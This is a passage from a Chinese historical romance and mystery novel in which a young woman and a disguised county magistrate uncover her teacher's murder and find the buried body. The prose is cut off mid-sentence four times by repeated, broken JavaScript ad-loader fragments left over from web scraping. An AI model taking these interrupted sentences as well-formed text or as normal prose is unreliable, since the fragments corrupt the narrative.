这不是那日雾岭山的土匪头子吗? 她回头眼含质问地望向裴误,从他怀中退开一步。 “他怎么在这儿?” 这“匪”害的老张昏迷了那么久,她的敌意直接摆在了脸上,接着又转头瞪了周肆一眼。 殊不知她方才哭过,眼尾红痕未消,说是质问,看上去却毫无气势。 裴误怀中一空,指尖还残留她腰间的温度。 他摩挲着指尖将右手俏俏背到身后,对上她圆瞪的杏眸,无奈地出声解释道: “这是我的护卫,周肆。” “我是裴兄的表弟!” 周肆嗓门大,二人同时出声,他的声音却几乎盖掉了裴误的话。等到裴误不带温度的视线落到他身上,又鹌鹑似地埋下脑袋。 “我是裴兄的表弟,也是他的护卫。” 周肆干巴巴地找补着,在心里暗怪裴误出尔反尔。 方才不是还说不要亲卫的吗,现下又自己改口了。 温以对他们的话半信半疑,偷偷打量着周肆这身不伦不类的夜行衣。对比裴误前日换下来那身衣料样式都极其普通的衣裳,在脑中自己给他们找补出了完整的前因后果。完全没有察觉到这脑补里头的偏心。 兴许是周肆家里头富有,看裴误得了个师爷的小官,家里头就把这个“表弟”塞过来谋个差使。 视线艰难地从周肆冠上那支品相极好的白玉簪上挪开,她心中感叹: 看来这位表弟还不是一般的殷实啊。 尽管隐约感觉有哪里不对劲,不过眼下最重要的还是赶紧出府去,她拉上裴误的袖子,催促道: “裴师爷,你到底同不同意?” “我今日是一定要出府去的,你若不同意,我也得早去找落脚的地方了。” 眼看着时间随着更漏流逝,她已经没多少时间可耽搁了。 裴误伸手稳住被她拉着的袖口,方才藏进袖间的杯盏虽小,却已经摇摇欲坠,实在是经不住她一扯一摇的动作。 “我答应,只是你最好还是给张员外留封书信吧。” 视线从她轻撅的樱唇上移开,裴误轻叹了口气。他的目的只是赈灾的钱款,本是不必操心这么多的,可还是忍不住开口了。 “也免得他担心。” 姑娘肩头披着的外袍被方才的动作弄得滑落半寸,他从前从觉得这姑娘咋咋呼呼的,身上的熏香味道却如此清冽温存,实在和她不像,后来才知这是她夫子最爱的香。 她如此重情,若是这次为了夫子的事让张员外担心了,回过头来想想,就算不后悔,总是要自责遗憾的吧? “我回头在县衙安顿下来了,再差人给我爹送信吧。” 张员外的身体还有些虚弱,温以其实也有些放心不下,可夫子的事情不能不查,她一咬牙还是决定先去县衙。 几人从窗台原路翻出去,很快就转到了一个隐蔽的墙角处。 温以对府里再熟悉不过,这一段隐蔽,再者墙外就是暗巷,寻常没人会走。除了院墙太高这一个缺点,温以实在是挑不出什么毛病。 走到院墙下,周肆抬头看着墙头,伸手摸着鼻子嘲讽道: “所以咱们现在还是得翻墙出去?” 他一路走在最后头,眼神幽怨地偷偷看着前面两人,现下语气里的酸意更是藏都藏不住。 周肆不服气地思忖着,他说要跟着裴兄住府里,千求万求才勉强被收留,这不知道哪里冒出来的姑娘,倒是比他得待见多了。 温以上回遛出府就是折在了高墙这儿,青虹都没来得及回头,她就摔了个闷响,在塌上躺了三个月才养好。 她正有些发怵地看着高墙外的一角夜空,就听见周肆阴阳怪气的质疑。 “难不成周公子有什么更好的办法?” 温以心中估量着怎么上墙头去,头也不回地刺道: “怎么这墙周公子进我张府翻得,出去就翻不得了?” 裴误跟在她后头,一手背在身后,看着她跟周肆斗嘴,悄悄弯了唇角。 “你……你!” 周肆被她的话噎住,在屋中就见识了裴兄的“偏心”,只得憋屈地闭口不言。 温以根本没将心思放在跟他的小小口舌关系上,反而是面前的高墙更让她看得犯难。她正想后退一步让他们先翻,就听见裴误含笑的声音。 “踩着上吧。” 他靠近院墙一步,伸手挽住袍角,扶着院墙背对温以蹲下。 “踩着稳当些。” 这距离明明比方才靠在他怀中远得多,她却后知后觉的感到他身上的墨香萦绕在鼻尖,心神不由一晃。 诡计多端的读书人! 她低头看着面前少年人看上去有些单薄的肩背,忽然有些不好意思踩着他翻院墙。 他背对着温以,却好像猜到了她在想些什么一般,哄孩子似地温柔道。 “女侠再不赶紧翻,一会儿护院来了,可就没有浪迹江湖的机会了。” 温以被他那句“女侠”一刺,完全忘了出去后还得求着他收留的事,一巴掌招呼在他背上,咬牙三两下踩着他的肩坐到了院墙上。 “你少威胁我。” 她才跟他说过想当个女侠的梦想,就被他这般拿捏着取笑。温以拉不下面子来,嘴硬道: “你要是上不来,我也可以勉为其难拉你一把。” 裴误轻轻拍了拍肩上的尘土,起身抬头望向坐在墙头的她。 “多谢好意,裴某暂时还不用。” 周肆瞪大了眼睛看着面前发生的一切,几乎不敢相信自己的眼睛。 这还是他矜贵爱洁的裴兄吗? 他还是有些不敢踩着裴兄的肩上去。就是踌躇一二的功夫,面前蹲着的人就站 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了起来,三两下翻到了墙外。 比起泪目到一半最后却还是只能含泪自己翻的周肆,有裴误帮忙的温以坐在墙头却反而更愁。 墙外的人早已站稳,却不见蹲下的动作。 她能说她其实更害怕的是翻下去吗? “下来吧。” 裴误摊开掌心,平举着伸出指尖交叠的手。 心跳忽然漏了半拍,温以看着墙下如青竹般立着的人。他仰头含笑看着她,含着深潭般的眸中仅有她一人的倒影。 他的意思不会是要在墙下接着她吧? 温以的目光落在他那双骨节分明的大手上,银白的月辉洒在他身上,她仿佛心中钻入了一只小蝶,在心间胡乱飞窜着。 “你还愣着干嘛!” 另一边周肆也已经翻了出来,他或许武艺平平,但自小三日一禁足五日一禁闭的日子早就把他翻墙的功夫练出来了,连王府的墙他翻起来都轻轻松松,更何况眼前这墙。 裴兄都这般帮她了还畏手畏脚的,周肆在心中冷哼一声,逮着机会催促道。 裴误懒得看周肆那幼稚的样子,压低了声音道: “踩着我的手,你说的,咱们得快点了。” 温以心中说不清是失望还是庆幸,“哦”了一声,踩在他的掌心,翻下了院墙。 倒是意外地稳当。 温以有些意外地偷偷看了他的掌心一眼,心中暗道: 兴许他真的不像外表这般文弱。 三人马不停蹄地绕路往县衙的方向去,刚行出半条街,远处就隐隐瞧见了火光。 “谁?” 温以刚瞄见人影,就扯着裴误闪身躲进街边的巷口,留下没反应过来的周肆一人傻站在大街中间。 夜里更深露重,只能遥遥看见模糊的人影。 周肆刚要动作,又听见对方道: “别动,否则别怪我不客气!” 他只好站在原地,求助似地偷瞟巷口的裴误和温以。 街尾的人影近了,周肆这才看清是个一身玄色劲装的姑娘家。姑娘身量高挑,腰间还挂着一把佩剑,左手二指夹着一片薄如蝉翼的铁刃,和他一般用黑布蒙着脸。 “阁下停步,我们是同道中人,不如给彼此行个方便?” 周肆自觉客气的打着商量,心想既是女子他便客气些吧,也显出自己大侠的风范,谁料对面的女子对他的话恍若未闻,依然步步紧逼到跟前来。 “青虹!” 裴误都没来得及拦住跟前的人,温以就松开了一直扣着他手腕的右手,如同归巢的鸟儿般扑了出去。 周肆更是一头雾水,眼见着温以像颗流星般冲了出去,扑到那女子怀中。 “青虹,你怎么才跟上呀!” “小姐,是青虹耽搁了。” 温以见到亲人般地抱住青虹,听到她的回答,才松开了人。刚从她怀中退出来,脸上的笑就冻住了。 “你是一个人来的吧?” 她在心中一万遍祈求青虹否定她的问题,却还是听到她说: “是,小姐,我是一个人来的。” 温以深吸了一口气,伸手指着她背后的火光,对着街口道: “那…这又是谁?” 9. 一位惊才绝艳的县令大人 “青虹,你确定你真的不是故意的吗?” 温以欲哭无泪地抓着青虹的手摇了摇,只得到青虹郑重的回答。 “小姐,都是青虹大意了。” 青虹哪都好,就是总太认真,不拿她当师妹看,更多的却是拿她当主子。 此刻她一抱臂道歉,那满脸隐忍的歉意让温以也愧疚起来。 “师姐,我那都是玩笑话,就算你不引人来,就他们两个文弱书生再加上我一个半吊子,被师父抓回来也是早晚的事情。” 温以与青虹二人一起长大,两人的功夫都是从一个师父那里学的。见她眉头尚未舒展,温以简直恨不能好好剖白给她听。 “咳咳——” 两声青年男子的咳嗽声打断了她剩下的话。男子身着劲装,掠过裴误与周肆,在温以面前停下。 “老爷还没来,小姐你窃窃私语什么呢?” 于舟清咳两声,剑眉一竖,沉声训斥。 “知道我早晚会抓你们回来,小姐就该乖乖地待在府里头。” 他五官硬朗,眉间那道贯穿眉骨的伤疤更添几分煞气,每每摆出训斥的样子都有些骇人。 裴误淡然的眉头轻皱一瞬,目光触及周肆玩味的目光,又很快恢复了温润公子的模样。 其他人怕于舟,温以却知道他这是嘴硬心软,当即讨好地绽开笑容,立誓般举起三根手指保证道: “师父说的是,我跟师姐再不敢了!” “保证就保证,手放下。”于舟拍开她拉着青虹胳膊的手,放低声音道: “干你师姐什么事,少拉上你师姐。” 温以讪笑着摸了摸被拍红的手背,厚脸皮地又挽上青虹的胳膊。 “我就喜欢挨着师姐,师父你嫉妒也没用。” “浑说什么。” 于舟轻斥的话刚落,便有小厮从堂后出来,打断了几人的话。小厮道是张员外听闻裴公子诗书过人,想请裴公子一叙。 “张员外相邀,裴某自当应约。” 裴误拂开周肆拉着他袍侧的手,礼数周到地抬手请小厮带路。 虽只是在寝衣外胡乱裹着一件素白的外袍,形容有些狼狈,却一举一动都显出从容贵气,仿佛他是受邀来府上谈论诗书的名家。 刚迈出一步,却被袖侧纤细白皙的手拽住了步子。 “我跟你一同去吧。” 温以神色歉疚,她爹也只是对她脾气好,早年间也是雷霆手段的。 她担心裴误因帮了她而受牵连。 “不必,”裴误顺着她的衣袖看向她紧紧拽住衣角的手,神色平静,要她松手的意味却很明显。 温以顺着他的视线看过去,下意识松开了手。 “你先去好好收拾行李。” “今夜去了府衙,可就不会再有被抓回来的机会了。” 他的话里带着笑意,等到温以抬头去确认时,却只看见他已远的袍角。 “别看啦,裴兄说能走,那就好好准备行李吧。” 周肆是改不了嘴贱这个毛病了。 得了裴误的话,他更是一改方才拘谨的样子,一屁股坐在圈椅上,掰起了桌上的橘子。还不忘欠揍地显摆道: “我认识裴兄都多少年了?他说行,那就是板上钉钉。” 他刚往嘴里送了两瓣橘子,扭头便看见青虹平静中带着鄙视的眼神。不自在地扯了扯衣角,收回了略显纨绔的坐姿,他眼前忽然掠过一阵鹅黄色的旋风。 “唉,你往哪去?” “收拾行李!”温以丢下四个字,立时就跑的人影都不见了。 “那我,我跟裴兄怎么办?” 周肆从圈椅上弹了起来,就要追上去,却被门口两个凶神恶煞的侍卫给拦住了。 “为什么拦我?”他回头求救地看向在场唯一能算认识的青虹,接着指了指温以跑出去的方向。 “怎么不拦她?咱们不是一起被抓的吗?” 青虹那常年结着冰霜的神色也忍不住碎裂一寸,看傻子似的道: “因为她是小姐。” —— 不知裴误用了什么借口说服了张员外。总而言之,温以再次离开张府的时候,是背着大包小包的行李大摇大摆地离开的。 当然了,背行李的不是她。 周肆背上两个巨大的包袱,胸前系着一包行李,手里还提着一个木盒子,狼狈地凑近裴误低声道: “裴兄,我何尝这么委屈过,你回头是不是得好好给点补偿?” “若不想做护卫,回镇南王府也可。” 裴误瞥了他一眼,加快脚步追上走在前头的温以。 明河县的不富庶仅从县衙处也可见一斑,一方父母官处理公务与居住之处,一眼便让人看见了碎瓦。 “小姐,咱们到了。” 青虹最先站到府衙门口,温以正要开口,便看到守门的衙役从瞌睡中一惊,声音洪亮地喊道: “县令大人!” 裴误抬臂阻拦的手势一顿,沉了口气背回了身后。 这衙役实在有些不机灵,看来是该换换人了。 “裴……,拜见县令大人。” 温以顺着衙役的声音朝后看去,唯有裴误跟在她身后而已。她愣怔一瞬,正要行礼,却被他温热的掌心托住了小臂。 “不必多礼。” 裴误皱眉托住她行礼的动作,先一步进了府衙。 “你先随我来。” 他神色凝重,温以便让青虹留在房外,随裴误一路进了后院的书房。 府衙虽然陈设陈旧,后宅也甚是简陋,但这间书房一看便知是下了功夫。虽物件陈旧,却处处透着雅致贵重。 裴误既然身为县令,整个府衙的后院都空着,哪会没有住处可去? 温以无声地打量了书房,目光狐疑地落在他身上。 裴误挑眉,伸指拭去桌上的浮灰,抬指道: “府衙还需洒扫整顿。” 言下之意不是不住,是还未整顿好。 温以点点头算作接受了他的解释,蹙眉问起案子: “县令大人方才唤我来,是不是我夫子的案子有了什么新进展?” 她杏眸中既担忧又期盼,裴误顿了两秒,如实道: “我们去晚了。” “你夫子的尸体已经被李家掩埋了,且杨氏交代说,他们是趁夜随意找了处荒丘掩埋的。” “也就是说,他们此刻也找不到尸体所在何处。” 温以明白,若是要找到夫子并非自杀的直接证据,最重要的便是要找到夫子的尸体。没有什么比尸体更诚实的证据了。 “他们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怎能这样随意掩埋夫子的尸体?”她忍住鼻尖的酸意,求证般地问裴误。 “能否派府衙的人去李家附近寻?夜里路黑,他们两人应当也走不远。” 裴误将她按坐下来,摇头道: “李家附近的荒山实在太多,若是一座一座找下去,恐怕等我们找到,尸体已经无法验尸了。” “王夫子死于四日前,我们至多两日内必须找到尸体。” 眼前的希望被打破,夫子留下的那封信,除了那陌生的檀香,别的什么证据也没有留下。 小姑娘坐在满是尘灰的书房中,眼中的神采逐渐弱了下去,那张瓷白的脸此刻更显苍白。裴误握紧手心的纸条,有一瞬间竟生出将自己所知都告诉她的想法。 不防她忽地抬头,他差点没能收起眸中心虚。 “大人,我们能否再去一趟麦花村。” “有一人定然见过王夫子最后的样子。”她眼神坚定,此话显然并非真正的恳求,而是告知他的决定。 “李大娘,我有话要问她。” 裴误不动声色地将手背到身后,点了点头。 再去一趟,这也与他原本的想法不谋而合。王氏除了弟媳杨氏,家中还有婆婆李大娘、小叔李老二与李老二的儿子李元。 李元身在府城的书院读书,案发前后并未回过家。除去他不算,至少还有两人都见过王氏的尸体,可他们上次却只见到了杨氏一人。 此案,还有可挖的地方。 谈罢要事,裴误便推门道: “走吧,我送你们去后院安顿。” 温以脑中都是李家人与案子,不过从桌案到门口的几步路,却恍惚中不小心碰倒了门边画桶。 卷轴散落一地,其中一幅书画许是绸带未绑紧,缓缓展开半幅。 “大人,对不住,我这就收拾……” 她蹲下身,指尖触及那卷身,却被半幅展开的墨字吸引了目光。 字间诗文她未曾读过,可笔墨间的风骨却与夫子曾给她看过一幅珍藏极像。那幅珍藏可是当朝成国公的墨宝。 “这字画?” 她抬首看向门口的裴误,他站在天光中,看不清神色。 门外的周肆听见了她的话,探着脑袋兴奋道: “这是我裴兄的亲迹,怎么样,是不是惊才绝艳?” “你且多学几个词再来多嘴。” 裴误将他一脚踹回了原位,嫌弃道。 有几分像成国公便已是上佳的作品,他的字几乎像了个九成,细看其中却是自己的风骨,的确是于书画上极有造诣的。 温以怅然地点点头,细心卷起卷轴。捧起掉落在地的几卷卷轴,看着裴误的眼睛,神色认真地道: “的确惊才绝艳。” 裴误偏开视线,谦逊道“温姑娘谬赞”,却偷偷扬起了唇角。 “还算你有眼光。” 周肆又锲而不舍地挤到门前,兴奋地补充道: “温姑娘你不知道,我裴兄的字不算什么,他的画才是真的一绝!” “只可惜他极少给人作画,除了苏……” 温以低头放画,闻言,好奇地回头。 身旁的源源不断的冷意让周肆打了个寒颤。 偷瞥了一眼脸色难看的裴误,他话到一半,忽然讪讪地闭上了嘴。 10. 一句承诺 天边方才泛起鱼肚白,麦花村口就传来一阵孩童的玩闹声。 “虎子,咱们为什么非要起这么早啊?” 扎着双髻的女孩约莫五岁上下,正揉着眼睛打哈欠,语气满是不解。 她一开口,困倦像是会传染般传遍了孩子们周边。 “对啊虎子,咱们的风筝还挂在树上呢。” “昨日分明天还没完全黑下来,为啥非要赶大家回去嘞?” 孩子们你一言我一语地,被围在中间的孩子看上去比他们大上两岁,虎头虎脑的,便是他们口中的虎子了。 虎子左右望了望,见往来的没有大人,便放心地道: “你们都靠过来,我跟你们说个秘密。” 虎子故作神秘地压低了声音,小声道: “咱们村,这阵子闹鬼!” “闹…闹鬼?”有那胆小些的孩子一听这二字,腿便开始打颤。 “总之咱们昨日放风筝那块,天一暗,就别再多留了。”虎子小大人似地叹着气。 “李家前后的荒山最是放风筝的好地方,看来咱们往后最好还是别去了。” “咕噜——” 肚中一阵饥饿声打断了虎子的话,那扎着双髻的女孩皱了柳眉,不服气地问: “你有什么证据说明那儿闹鬼?万一是你想要独占地方,故意吓得我们不敢再去呢?” 虎子被她一连串的质问气的憋红了脸,梗着脖子道: “你们爱信不信,总之我娘说了,恶鬼最爱吃小孩了,你们往后要是被恶鬼抓走了,可别怪我没提醒过你们!” 孩子们的神色皆是将信将疑。 “虎子,姐姐相信你。” 肩上被轻轻地拍了拍,虎子顺着肩上纤细白皙的手看去,原本委屈的眼中霎时间亮了起来。 “侠女姐姐!” 欢喜的喊声一出,虎子的肚子也不争气地咕噜叫起来。 温以蹲下身子,朝他温柔地笑了笑,变戏法一般从怀中掏出一袋子烧饼,在他面前晃了晃。 “饿了就拿去吃吧。” 虎子炫耀似地朝方才最不信她的几个小伙伴哼了一声,欢欢喜喜地要去接烧饼。 小手一碰到烧饼,却扑了个空。 “拿了烧饼,就把闹鬼的前后详细给姐姐讲一讲,一言为定咯。” 虎子迟疑了片刻,探着脑袋看了看跟在她身后的两男一女,才在肚子咕咕的催促声中点了点头。 “好了,跟小伙伴们一块分着吃吧。” 温以摸了摸他的头,拍拍手站了起来。她带了一大兜子烧饼,足够这些孩子们吃一顿早饭的了。 兴许是这两天没休息好,猛地一站起来,眼前还忍不住花了几秒。 “你这侠女身份,倒是与谁都说。” 裴误不知道什么时候站到了她身后两步的位置,还幼稚地紧抓着侠女二字不放。 想到上次被他看见在树下大哭了一个时辰的事情,温以羞恼地瞪了他一眼,刚想出言,就忽然想起了昨日在县衙书房前,周肆的话。 那位苏姑娘,于他定然是极重要的存在。 在京城时她便从众人对她和娘亲的厌弃中明白了一个道理,没有一个姑娘家喜欢情郎身边总是跟着另一个姑娘的。 眼下是为了破案,亦是他们的交易,待到案子结了,他们便分道扬镳。 这期间,最好还是别太亲近的好。 她收回了本要出口的话,裴误等不到她犟嘴的话,原本扬起的唇角也恢复了从前不喜不悲的平静样子。 气氛一时之间陷入诡异的冷凝。 “侠女姐姐。” 虎子拿着烧饼扯了扯温以的衣袖,示意她弯腰,凑到她耳边偷偷道: “闹鬼的事,也要和这个哥哥说吗?” 温以点点头,此事蹊跷,一起说自然能节省时间,早日找到线索。 “可是……”虎子还是显得很犹豫,“娘说得罪了恶鬼,半夜也会被抓走的。我要是跟太多人说了,会不会被恶鬼抓走啊?” 好笑地摸了摸虎子的头,温以故意哄道: “虎子不用怕,这个哥哥比恶鬼还恐怖。” “不过他是专门抓厉鬼的,你跟他说了,他便能把恶鬼抓走,你们往后就不用怕了。” 周肆在后头看得一愣一愣的,形容裴兄玉树临风、才华横溢之人见多了,他还是头一回见到拿恶鬼跟他比的。 偷偷瞥了一眼裴误那张散发着寒气的冰块脸,他若有所思地点点头,拿胳膊撞了撞身侧的青虹。 “你家小姐还真敢说,裴兄定然生气了。” 青虹神色不变,嫌弃地避开了他的胳膊,视线倒是诚实地紧紧盯着裴误。 裴误虽然眉目间都是冰霜,闻言,却是顺着温以的话点了点头,半是诱哄地承诺道: “若是告诉我,你们的风筝不止能找回来,还能一人来领一个新的。” “好!” 这条件一出,竟比烧饼还有用,虎子似是怕他反悔,立马一口答应下来。 只可惜一群风筝换来的消息到底是充满了孩子气。 虎子的说辞多是模棱两可的见闻,温以反复琢磨了好几遍,也难以从中摸出串联线索的那根关键线。 案发当日,这群孩子正巧在李家周边的荒山处放风筝。 因为风筝挂在了树上,孩子们一直待到很晚才回去。这风筝是虎子在镇上开铺子的舅舅送给他的,平日里宝贵的不行。 正因如此,其他的孩子们都放弃了,他却待到了很晚。 据虎子所说,他听见了王夫子一个人在房中又哭又笑,接着便有黑影晃过,堂屋里明明没人,灯却一下子就灭了。 吓得他腿一软,跌坐在田坑里头傻坐了半天,好不容易跑回了家,也是整宿不敢睡。 虎子娘说王夫子这是被厉鬼索命了,不准他到处乱说,是以官府来问话的时候,他才一个字也不敢说。 “夫子脾性贞静,若不是有大事,断然不会一人在房中又哭又笑。” 说到此处,温以忽然脸色一变,蓦地加快了脚步。 “不对!堂屋里的人定然是李老二!” 从前她与青虹送夫子回来的一两次时间里她便决定李老二看夫子的眼神有些不对,可杨氏一向强势,夫子也道即便他有那贼心,却没有那贼胆。 时间久了,看李老二不过是眼神上恶心恶心人,他们也就没有放在心上。 “如此便能说通了。” 裴误蹙眉跟上了温以的脚步。李老二和杨氏着急掩埋尸体的行为一看便有问题,他此前便是苦于无法确认动机,因而无从找到关键证据。 “虎子说他在田坑里蹲坐了半个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时辰,中间却没有见到人进出李家。” 他猛然抓住了虎子话中与杨氏的冲突。 照杨氏的说法,王式刚死不久,她便发现了尸体,将人给埋了。可虎子却没看见人出李家的大门。 “杨氏在说谎?” 温以的疑问一出口,就被裴误斩钉截铁的否认了。 “不!杨氏不可能将假话下意识脱口而出。” 裴误的眼中闪过一道锐光,蹙着的剑眉骤然舒展开,他长睫下的眸光带着少年人的坚定,一个朦胧的想法在此刻拨雾见形。 “除非这原本就是真话。” “他们的确当晚就埋了王氏。” 他带着薄茧的指节握住她的手腕,拉着她加快脚步朝李家跑去。 “就埋在李家的院子里。” —— 温以从没见过如此狼狈的夫子。 一身熟悉的浅色襦裙被锐器划得破破烂烂,满身青紫的痕迹已经很难从肿胀污绿的身体上察觉出。 曾经端庄美丽的夫子,此刻却变得周身肿大,舌尖外伸,浑身散发着腐臭的腥味。 一阵酸意从胸腹中翻涌而上,眼泪刚刚模糊了视线,眼前就被少年宽厚的掌心遮住了视线。 “你先去外头的牛车上坐着。” 裴误也没想到会如此顺利的找到尸体,让她目睹了亲近之人死后的惨状。 看着温以泛白的脸色,他背在身后的手终究还是遮到了她的眼前。 温以拨开他的手,看着他的眼睛坚定地摇了摇头。 “李老二敢对我夫子做出如此下流之事,我若不能亲眼盯着他受到该有的惩罚,我还有何颜面做夫子的学生。” 她脸色苍白,如同一支野栀飘摇在风中。可身侧那缱绻温柔的香味,时时刻刻都提醒着她夫子这些年对她的疼爱。 李老二已经被抓住,她必须亲眼看见他受到应有的惩罚。 “温以,我会帮你。” 裴误没有劝她,原本无法理解的失去至亲的感受,在此刻化作她眼角的微红和唇上的苍白,在他心中画出血红的痕迹。 “裴某的交易,向来全力以赴。” “这是承诺。” 承诺二字仿若沉水的巨石,投入温以死水般的心中。沉甸甸的,却温柔地波动了平静的水面。 “大人,此案还有蹊跷。” “李老二性格如此,突然有了胆子作案,定然有其他契机。还有夫子信上的檀香,李家几人从未用过檀香,信背后……” 本不该这样没有条理的脱口而出的细节,在此刻一一说了出来。温以的声音断断续续,话虽急促,却前后反复琐碎。 裴误只是静静地听她说。直到她忽然顿住,才柔声道: “我去查。” “这也是承诺吗?”温以不能确定这声音中的温柔是真是假。 他毫无犹疑地点头。 失去夫子的惊慌,看到遗书的崩溃,甚至于痛哭和此刻无声的哀悸。她狼狈的样子,好像统统都被眼前人看了个遍。 可他从来不是安慰、鼓励,而是笨拙地给出承诺。 温以忽然觉得自己可以自私一点。 就仗着此刻的伤心再多自私一点点。 于是她这么做了,踮脚,伸手环住少年的脖子。仿佛溺水的人抓住了藤曼,埋入他怀中。 11. 两道子夜的叩门声 李家一行人被府衙的捕快押着离开的时候,杨氏还哭天喊地地叫嚷着冤枉。李老二跟在她身后低着头,好像是丢了魂。 “县令老爷,我冤枉呀!冤枉呀!” 杨氏常年干农活,力气不小,这般撒泼扭叫着,倒让押着她的捕快不得不顿了一步。 “老实点。” 尖锐的叫嚷声吵得裴误轻皱剑眉,衙役见状,立时加了手上扭送的力气,低声呵斥。 爱看热闹是人的天性,何况是家家户户如此熟悉的麦香村。 杨氏到底是怕了,才如此歇斯底里。一出院门,瞧见里外三圈围着的乡亲,她知道事情已难回转,也就乖乖闭上了嘴。 村里出了如此大事,李家的族长亦是早早赶来了李家门口。 见人押送出来,族长当即宣布要将杨氏逐出族中。 “杨氏与李家老二心思狠毒,今日大伙作证,将他二人逐出李家一族!” 族长的话一落,人群顿时静了下来。 逐出族中无疑是极重的惩罚,从此生无根,死,则尸骨无归处。温以冷眼看着眼前的闹剧,面上没有分毫快意。 比之他们对夫子做的,这点惩罚,简直如同隔靴挠痒。 逐出族中的话一出,一直沉默着的李老二却忽然爆发,瞪大了一双通红的眼追问道: “那元儿呢?” “元儿他什么也不知道,明年便要下场科考了!” 父母皆被逐出族中,走仕途的人有了这般污点,那便是一辈子摘不下的弱点。 “元儿自会过继到我儿膝下,你要是为了他好,往后便该将这段父子缘分忘了。” 李元是李家几辈小辈中于读书最有天分的一个,族长这般决定,显然也是有自己的心思。 “过继……” 李老二嘴里反复念叨着这二字,终是重新低下了头,安静地跟着衙役离开。 “叔祖,我不过继。” 少年的声音如同金石,掷地人群。 温以循声看去,李元一身书院的学子衣衫,喘着粗气从人群中挤进来。 他背上靛蓝色的包袱上满是补丁,烈阳高悬,他额上汗已将方帽沾湿,算不上白皙的脸上还泛着潮红。 挤到人群前,对上温以冰冷的目光,李元才发现她也在此处,羞愧地愣在了原地。 “温姐姐。” 温以没有应他。 “对不住,我替我爹娘向你和伯母赔罪。” 他声音哽咽,一掀袍角,便要跪下。 “元儿!”“元儿你是读书人,怎么能跪她!” 杨氏在一旁看得几欲发疯,温以只是冷眼看着他们吵闹,伸手扶住了李元的胳膊。 她是从小习武之人,面对一个多年只知读书的书生,一手便轻易拦住了他跪下的动作。 “你对不住的人不是我,而是夫子。” 王夫子因唯一的孩子早逝,对这个侄儿说是视作亲儿也不过如此。若不是她的解囊支持,以李家贫寒的家境怎可能支持李元这么多年的束修。 从前她也很是高兴夫子能有这么一个有天赋又孝顺的侄儿,可如今,她却恨不得李老二一家从未存在过世间。 “你的跪,还是留给夫子吧。” 温以撇开他的手,不去看他通红的眼眶,转头朝裴误解释道: “这是我夫子的侄儿。” 裴误一直跟在她身后两步的位置,闻言了然地颔首,视线从李元满是黄泥的鞋面上掠过,开口道: “李元,江南府学学子,案宗里便见过。” “只不过本官刚来明河县,不知江南的消息传得如此快。” 近了两步,李元通红的眼中随着他的话闪过愣怔。 “你赶得很是及时。” 裴误的话一落,李元便声音悲怆地解释道: “大人,晚生一接到伯母的丧讯便连夜赶路归家,只是没想到。” 没想到等到他归家的时候,自己的爹娘却成了杀人的凶手。 后头的话他没有说出口,周围的乡亲们却纷纷露出不忍的神色。 李元平日在村中最是知礼,诗书又好,大伙都盼着村里能出一个念情分的官老爷。 他解释后,又转头对族长一揖,坚持道: “晚生多谢叔祖抬爱,只是他们即便犯了天下之大不韪,也终究是晚生的父母。” “逐出族中的决定晚生不敢质疑,只是过继一事,便作罢吧。” 此话一出,在场众人皆为他惋惜,可惜之余也赞他人品光正,与他爹娘不是一路人。 杨氏听到此处早已近乎要哭昏过去,被衙役拉走时,满脸泪痕,却一句话也说不出来。李老二则是不舍地盯着李元,直到他的身影消失在视线中。 与来时不同,为了在日落前回到县衙,犯人与衙役们共坐牛车。温以几人则是骑马回程。 马蹄掀起路边发灰的尘土,风飘过耳畔,撩起她耳后的几缕发丝。 裴误策马行在她身前。 他分明没有来过这里,马下方向却从不犹疑。 温以想起他方才对李元说的话,意味不明,却没有多追问。摸不准他的意思,她也不是喜欢暗自猜测的性子,索性直接了当地问了出来。 “裴大人,你方才跟元哥儿说的话,可是觉得他有什么不妥?” 裴误没有回头,而是放慢了速度,待到马儿与她的马儿并肩,不答反问道: “你与他很熟络?” 温以摇了摇头。 “也算不上熟络,夫子疼爱他,自然见过几面。” “怎么了?是否他有什么可疑之处?” 她不知道,她追问时,即便夕阳血红地映在她眼中,裴误也还是看到了她眼底不愿相信的期盼。 “无事。” 他抿唇答,不再侧头看她。 —— 子夜,府衙的书房中仍燃着几盏烛火。 裴误落下最后一个字后便搁了笔,砚台上墨已干了大半,最后的几字连墨迹都显得焦干。 “阿石。” 话落了半晌都不得回应,他才沉了口气,揉着眉心闭目小歇。 书房是下人赶着洒扫布置出来的,与他在国公府用的差距甚大,即便在布置上已是尽量模仿,难免还是有不习惯之处。 挑灯看了半宿公文,裴误眉间的倦色难掩。 睁眼正欲寻墨条来研磨,房上忽然落下一个玄黑色的身影,沉默地抓起墨条,便动作笨拙地研磨起来。 “十一,我什么时候唤你了?” 裴误本想斥责,看着他笨拙又蛮力的动作,还是忍不住轻笑了一声。 “还是我自己来吧。” 他伸手去夺墨条,却被那人闪身躲过。 “主子怎能自 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 己研墨?” “兄长不在,十一也可以做兄长做的。” 裴误的笑滞了滞,头一次庆幸当初那个对十一有些残忍的选择。 十一与阿石是他幼时救下的一对孪生兄弟,不过明面上他只带了阿石一人回到国公府。 从此阿石入了奴籍,成了他身边的一等小厮。十一则是成为暗卫,跟在他身侧。 此次背叛父亲,阿石的身契在国公府,他无法带他离开,至少还能将十一带离那座令人窒息的府邸。 “你磨吧。” 裴误不再阻拦,十一却耐不住开口。 “主子,国公爷又来信了。” 不等裴误作答,他便匆忙补充道: “这回国公爷松口了,愿意多给世子几年时间。只要世子答应跟丞相府结亲的条件。” 这回国公爷给出的条件简直是太过轻易。 他们父子二人对峙这么多年,十一简直觉得这个消息如同一个巨大的馅饼砸中了世子与自己,压根就没有想过世子会有除了答应之外的回答。 事实是,裴误的确沉默了。 他垂眸看着桌案上重叠的公文,密密麻麻的墨字像是无数嗜血的蚂蚁趴在他身上,带来隐秘的刺痛,让他浑身都泛起恶心。 父亲要的,便是让他一辈子面对朝堂上无数嗜血的蚂蚁,不知疲倦地守着国公府的尊荣。 